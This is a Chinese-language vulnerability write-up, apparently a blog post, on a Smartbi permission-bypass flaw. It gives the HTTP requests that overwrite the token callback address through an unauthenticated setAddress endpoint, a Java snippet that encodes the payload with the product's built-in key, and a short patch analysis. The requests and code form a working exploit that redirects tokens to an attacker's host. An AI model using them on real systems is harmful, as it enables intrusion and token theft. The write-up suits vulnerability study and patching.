漏洞简介
Smartbi是一款商业智能应用,提供了数据集成、分析、可视化等功能,帮助用户理解和使用他们的数据进行决策。Smartbi 存在权限绕过漏洞。未经授权的攻击者可利用该漏洞,修改 Token 回调地址。
漏洞复现
查看原本 token 回调地址
```
POST /smartbi/smartbix/api/monitor/engineInfo HTTP/1.1
Host: 192.168.222.133:18080
Connection: close
Content-Length: 0
```
修改回调地址
```
POST /smartbi/smartbix/api/monitor/setAddress HTTP/1.1
Host: 192.168.222.133:18080
Connection: close
Content-Length: 208
312E8684378EBDFF7E798B0BCCC45588EF682890F6F1701AF9D9416B4E357E80A1E8622D15B57E607B755B7C2F5DECA7D287A6A2ADD239B11EE975E5235B5E6CF864FBB030F3B0CCD63F4F6DDEBB4CC54499ACED23917FF9D7E2D9C42E4EA3D092786F854D530ADE
```
再次查看回调地址
```
POST /smartbi/smartbix/api/monitor/engineInfo HTTP/1.1
Host: 192.168.222.133:18080
Connection: close
Content-Length: 0
```
回调地址被修改
import smartbix.datamining.util.CommonUtil;
public class decode {
public static void main(String[] args) {
String address = CommonUtil.desEncode("{\"type\":\"experiment\",\"c_address\":\"http://localhost:8899\"," +
"\"u_address\":\"http://192.168.222.1:9090\"}", "isPassword");
System.out.println(address);
}
}
漏洞分析
我们从补丁文件开始入手分析
补丁文件中禁用了路由 /smartbix/api/monitor/setAddress
这个漏洞是对 Smartbi_0728_特定情况下破解用户密码 的查漏补缺,通过这个路由也能修改 Token 的回调地址,但是之前补丁中并未对此进行防护处理。
因为获取参数的方法是 @RequestBody
所以是将所有请求体内容都作为 address 的值进行处理
先对 address 的值进行解码 CommonUtil.desDecode(
调用的是自己内部的解码方法,所以我们只需要利用 CommonUtil.desEncode(
进行编码就好 然后将值进行 json 解码,对应的我们在最初传入的值也是 json 编码就好
之后就获取其中的 type 值, type 对应的值是对应 engine-address
还是 service-address
获取值 c_address
作为与不变值进行比较,比较相同后,将另一个值修改为 传入的 u_address
所以最后构造出生成 address 的 方法
import smartbix.datamining.util.CommonUtil;
public class decode {
public static void main(String[] args) {
String address = CommonUtil.desEncode("{\"type\":\"experiment\",\"c_address\":\"http://localhost:8899\"," +
"\"u_address\":\"http://192.168.222.1:9090\"}", "isPassword");
System.out.println(address);
}
}
在未打补丁的情况下,也可以因此继续触发漏洞,获取 token 值
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论